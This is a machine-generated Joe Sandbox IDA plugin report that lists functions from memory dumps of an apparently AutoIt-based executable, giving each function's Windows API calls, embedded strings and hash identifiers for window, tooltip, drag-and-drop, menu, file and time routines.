CLASSNAME=, xrefs: 00FEB952
[LAST, xrefs: 00FEB9C2
[ALL, xrefs: 00FEB9BB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: bab7f44da3bd161d992d58e81a21c1a6c843ea901d4a35f8deda32e9f90238dd
Instruction ID: 21a3ca3e1efec2991acb09a79a2ef5199e5eabc218a147ee5ccbf39dfff29644
Opcode Fuzzy Hash: bab7f44da3bd161d992d58e81a21c1a6c843ea901d4a35f8deda32e9f90238dd
Instruction Fuzzy Hash: 4F31C4B1A84205E7DB14FB52CD83EEE73B4AF257A0F200129F592B6092EF5D6E04E951

Function 00FECB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00FECBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00FECBBC
SetWindowTextW.USER32(?,?), ref: 00FECBD3
GetDlgItem.USER32(?,000003EA), ref: 00FECBE8
SetWindowTextW.USER32(00000000,?), ref: 00FECBEE
GetDlgItem.USER32(?,000003E9), ref: 00FECBFE
SetWindowTextW.USER32(00000000,?), ref: 00FECC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00FECC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00FECC3F
GetWindowRect.USER32(?,?), ref: 00FECC48
SetWindowTextW.USER32(?,?), ref: 00FECCB3
GetDesktopWindow.USER32 ref: 00FECCB9
GetWindowRect.USER32(00000000), ref: 00FECCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00FECD0C
GetClientRect.USER32(?,?), ref: 00FECD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00FECD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00FECD69

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 5ae01752689c00e7fca20759e06d4c4167f183a03374bdc9ad43488b2a3823f7
Instruction ID: 8586f53327513e1ba92e33fadc4f919999b5f648923d805285db07fd4f11ef7c
Opcode Fuzzy Hash: 5ae01752689c00e7fca20759e06d4c4167f183a03374bdc9ad43488b2a3823f7
Instruction Fuzzy Hash: 09518D30900749AFDB309FA9CE8AB6EBBF5FF48704F200918F586A2594C779A905DB50

Function 0101A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0101A87E
DestroyWindow.USER32(00000000,?), ref: 0101A8F8

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0101A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0101A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0101A9A7
DestroyWindow.USER32(00000000), ref: 0101A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00F90000,00000000), ref: 0101AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0101AA19
GetDesktopWindow.USER32 ref: 0101AA32
GetWindowRect.USER32(00000000), ref: 0101AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0101AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0101AA69

Part of subcall function 00F929AB: GetWindowLongW.USER32(?,000000EB), ref: 00F929BC

Strings

tooltips_class32, xrefs: 0101A96B, 0101A9F9
0, xrefs: 0101A894

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 717e87463194fd97266d622bcd81672800deb9dc32a0ebf928f2980b43df15d1
Instruction ID: 214152bf67ff2f3cd15ae27feaefe782564a0c8aaa49af87787ece4036ee73b3
Opcode Fuzzy Hash: 717e87463194fd97266d622bcd81672800deb9dc32a0ebf928f2980b43df15d1
Instruction Fuzzy Hash: 2371C875280340AFE721CF28C848F6B7BE5FB88310F54455CFAC687299D73AA945DB61

Function 0101CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

DragQueryPoint.SHELL32(?,?), ref: 0101CCCF

Part of subcall function 0101B1A9: ClientToScreen.USER32(?,?), ref: 0101B1D2
Part of subcall function 0101B1A9: GetWindowRect.USER32(?,?), ref: 0101B248
Part of subcall function 0101B1A9: PtInRect.USER32(?,?,0101C6BC), ref: 0101B258

SendMessageW.USER32(?,000000B0,?,?), ref: 0101CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0101CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0101CD66
_wcscat.LIBCMT ref: 0101CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0101CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 0101CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 0101CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 0101CDFF
DragFinish.SHELL32(?), ref: 0101CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0101CEF9

Strings

@GUI_DRAGID, xrefs: 0101CE71
@GUI_DRAGFILE, xrefs: 0101CEA8
@GUI_DROPID, xrefs: 0101CE26

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 35f4b4b85706a5e8f07ce03692fcad93394982e52822e991b4e16bdf9940be14
Instruction ID: 1df8b66515079583c086eb0e95ee6a03adb57226c34e077400ee44bcca3541a8
Opcode Fuzzy Hash: 35f4b4b85706a5e8f07ce03692fcad93394982e52822e991b4e16bdf9940be14
Instruction Fuzzy Hash: F0618AB1108301AFD721EF60DC89D9FBBE8FF89350F500A1EF595921A5DB35AA09CB52

Function 00FF82D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00FF831A
VariantCopy.OLEAUT32(00000000,?), ref: 00FF8323
VariantClear.OLEAUT32(00000000), ref: 00FF832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00FF841D
__swprintf.LIBCMT ref: 00FF844D
VarR8FromDec.OLEAUT32(?,?), ref: 00FF8479
VariantInit.OLEAUT32(?), ref: 00FF852A
SysFreeString.OLEAUT32(?), ref: 00FF85BE
VariantClear.OLEAUT32(?), ref: 00FF8618
VariantClear.OLEAUT32(?), ref: 00FF8627
VariantInit.OLEAUT32(00000000), ref: 00FF8665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00FF8447
Default, xrefs: 00FF84DA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 2ba9fa07a01d4fd7d5e43bcf0270ebb99d64344fd4b19eeebc0a5c8d68fea519
Instruction ID: 64363527e7340ae5d30994c1673ad2cb9ea7564feeb3bb5ee3b0ae59254790cf
Opcode Fuzzy Hash: 2ba9fa07a01d4fd7d5e43bcf0270ebb99d64344fd4b19eeebc0a5c8d68fea519
Instruction Fuzzy Hash: 89D19E72A04619DBDF209FA1C884B7EB7B4BF05790F248155E605DB2A4DF389C42FB91

Function 010149CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 01014A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 01014AAC

Strings

EXISTS, xrefs: 01014B15
GETTOTALCOUNT, xrefs: 01014A93
SELECT, xrefs: 01014C5D
CHECK, xrefs: 01014ACC
GETSELECTED, xrefs: 01014BBC
GETTEXT, xrefs: 01014BFF
COLLAPSE, xrefs: 01014AF2
UNCHECK, xrefs: 01014C88
GETITEMCOUNT, xrefs: 01014B8E
EXPAND, xrefs: 01014B5E
ISCHECKED, xrefs: 01014C2F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: e8a1c2b881cacafc81c65caf67f25170a4f8fe1fc53852b1b9d89b6a13e80fc1
Instruction ID: 800ee7c5bc0616783f5d98a3707b75c0e89501e381da690492d3351c66f5af7b
Opcode Fuzzy Hash: e8a1c2b881cacafc81c65caf67f25170a4f8fe1fc53852b1b9d89b6a13e80fc1
Instruction Fuzzy Hash: 129169742007019BDB04EF20C891A6EB7E1BF94354F008859F8969B3A2DF39FD4ADB81

Function 00FFE25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FFE31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FFE32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00FFE33B
__wsplitpath.LIBCMT ref: 00FFE399
_wcscat.LIBCMT ref: 00FFE3B1
_wcscat.LIBCMT ref: 00FFE3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FFE3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00FFE3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00FFE41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00FFE43F
_wcscpy.LIBCMT ref: 00FFE44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00FFE48A

Strings

*.*, xrefs: 00FFE445

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 589f5663adf817354efc4ccbdbce21b3b90d307d77791e00b9cf1ed7dfa7ee60
Instruction ID: a5e6efdcbb160cbdf3ecb1225eb387a49d410757b557e3591803012bca599041
Opcode Fuzzy Hash: 589f5663adf817354efc4ccbdbce21b3b90d307d77791e00b9cf1ed7dfa7ee60
Instruction Fuzzy Hash: AC615D765043099FDB10EF60C844DAEB7E8FF85314F04491EF98987261EB39E945DB92

Function 00FFA27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00FFA2C2

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00FFA2E3
__swprintf.LIBCMT ref: 00FFA33C
__swprintf.LIBCMT ref: 00FFA355
_wprintf.LIBCMT ref: 00FFA3FC
_wprintf.LIBCMT ref: 00FFA41A

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00FFA3F7
Line %d (File "%s"):, xrefs: 00FFA336, 00FFA34F
Incorrect parameters to object property !, xrefs: 00FFA39E
^ ERROR , xrefs: 00FFA391
Error: , xrefs: 00FFA3C4
"%s" (%d) : ==> %s:, xrefs: 00FFA415

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 17e6efbc5c935f8a04e3488d14fbe2cb508f2bb96f473b8f0df456bb2255656d
Instruction ID: f53b40c5fee81f6395008db10f90237b89b7c7276e06c79e0359d2f788e043b2
Opcode Fuzzy Hash: 17e6efbc5c935f8a04e3488d14fbe2cb508f2bb96f473b8f0df456bb2255656d
Instruction Fuzzy Hash: 745196B1940219ABCF24EBE0CD46EEEB779BF05340F500165F509B2062DB796F58EB61

Function 00FF0065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00FDF8B8,00000001,0000138C,00000001,00000000,00000001,?,01003FF9,00000000), ref: 00FF009A
LoadStringW.USER32(00000000,?,00FDF8B8,00000001), ref: 00FF00A3

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

GetModuleHandleW.KERNEL32(00000000,01057310,?,00000FFF,?,?,00FDF8B8,00000001,0000138C,00000001,00000000,00000001,?,01003FF9,00000000,00000001), ref: 00FF00C5
LoadStringW.USER32(00000000,?,00FDF8B8,00000001), ref: 00FF00C8
__swprintf.LIBCMT ref: 00FF0118
__swprintf.LIBCMT ref: 00FF0129
_wprintf.LIBCMT ref: 00FF01D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00FF01E9

Strings

Line %d:, xrefs: 00FF0123
Line %d (File "%s"):, xrefs: 00FF0112
^ ERROR, xrefs: 00FF017E
Error: , xrefs: 00FF01A0
%s (%d) : ==> %s: %s %s, xrefs: 00FF01CD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 6a60c9632bf04159fb6df817c069f1a2c70c5cc454c1fe1633feca2d504e3ff6
Instruction ID: 6ae1d869872e3d875a7b62a5aee2f57398e9c1262c495b16debb4d2b7c4346c0
Opcode Fuzzy Hash: 6a60c9632bf04159fb6df817c069f1a2c70c5cc454c1fe1633feca2d504e3ff6
Instruction Fuzzy Hash: D34151B294021DAACF24FBD1CD86EEE7778BF19340F500165F605B2052DA396F08EB61

Function 00FFA995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

CharLowerBuffW.USER32(?,?), ref: 00FFAA0E
GetDriveTypeW.KERNEL32 ref: 00FFAA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FFAAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FFAADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FFAB08

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Strings

closed, xrefs: 00FFAA22, 00FFAA2B
close cd wait, xrefs: 00FFAAF3
set cd door , xrefs: 00FFAAA9
type cdaudio alias cd wait, xrefs: 00FFAA86
open , xrefs: 00FFAA6A
wait, xrefs: 00FFAAC5
close, xrefs: 00FFAA14
open, xrefs: 00FFAA35

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 8d89f01a6924e3320c4640ef4891f185dc436305b19ed66df8f8296249432ea8
Instruction ID: 7ba85874af3b10f585831c18406bb3c5d6b4a46da756ee0e9be661825e6863a0
Opcode Fuzzy Hash: 8d89f01a6924e3320c4640ef4891f185dc436305b19ed66df8f8296249432ea8
Instruction Fuzzy Hash: 6F518DB11043059FC700EF20C88196AB3E4FF99758F10892DF89A57261DB39ED0ADB92

Function 00FFA832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00FFA852
__swprintf.LIBCMT ref: 00FFA874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FFA8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00FFA8D6
_memset.LIBCMT ref: 00FFA8F5
_wcsncpy.LIBCMT ref: 00FFA931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00FFA966
CloseHandle.KERNEL32(00000000), ref: 00FFA971
RemoveDirectoryW.KERNEL32(?), ref: 00FFA97A
CloseHandle.KERNEL32(00000000), ref: 00FFA984

Strings

:, xrefs: 00FFA895
\??\%s, xrefs: 00FFA86E
\, xrefs: 00FFA88A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 601e76b5ca7a3df676537b690d17f40004dfc3f4f5faa7de0450832f436c0609
Instruction ID: 3f96363f1706f3cc36fd0703e29526685e5b6ae442614f3977cacdfbe446286d
Opcode Fuzzy Hash: 601e76b5ca7a3df676537b690d17f40004dfc3f4f5faa7de0450832f436c0609
Instruction Fuzzy Hash: 5731C0B190020AABDB309FA0DC49FFB77BCEF89700F6041B6FA08D2064E77596449B25

Function 0101C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,0101982C,?,?), ref: 0101C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0101982C,?,?,00000000,?), ref: 0101C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0101982C,?,?,00000000,?), ref: 0101C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,0101982C,?,?,00000000,?), ref: 0101C0F7
GlobalLock.KERNEL32(00000000), ref: 0101C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,0101982C,?,?,00000000,?), ref: 0101C10F
GlobalUnlock.KERNEL32(00000000), ref: 0101C118
CloseHandle.KERNEL32(00000000,?,?,?,?,0101982C,?,?,00000000,?), ref: 0101C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0101982C,?,?,00000000,?), ref: 0101C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,01023C7C,?), ref: 0101C149
GlobalFree.KERNEL32(00000000), ref: 0101C159
GetObjectW.GDI32(00000000,00000018,?), ref: 0101C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0101C1A8
DeleteObject.GDI32(00000000), ref: 0101C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0101C1E6

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 512abe2e69f48bd111d6a0d6ee9e1268b218b300772a82c990c56e19a8d3be28
Instruction ID: 8f44b09919fdd0809ea8dd346154208ea59d380a2db141af55b2f01323bf741c
Opcode Fuzzy Hash: 512abe2e69f48bd111d6a0d6ee9e1268b218b300772a82c990c56e19a8d3be28
Instruction Fuzzy Hash: 98415C71580304AFEB318FA5CD48EAE7BB8EF8A711F204059F946D7258C7399940CB60

Function 0101C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0101C8A4
GetFocus.USER32 ref: 0101C8B4
GetDlgCtrlID.USER32(00000000), ref: 0101C8BF
_memset.LIBCMT ref: 0101C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0101CA15
GetMenuItemCount.USER32(?), ref: 0101CA35
GetMenuItemID.USER32(?,00000000), ref: 0101CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0101CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0101CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0101CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0101CB31

Strings

0, xrefs: 0101C9E2

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

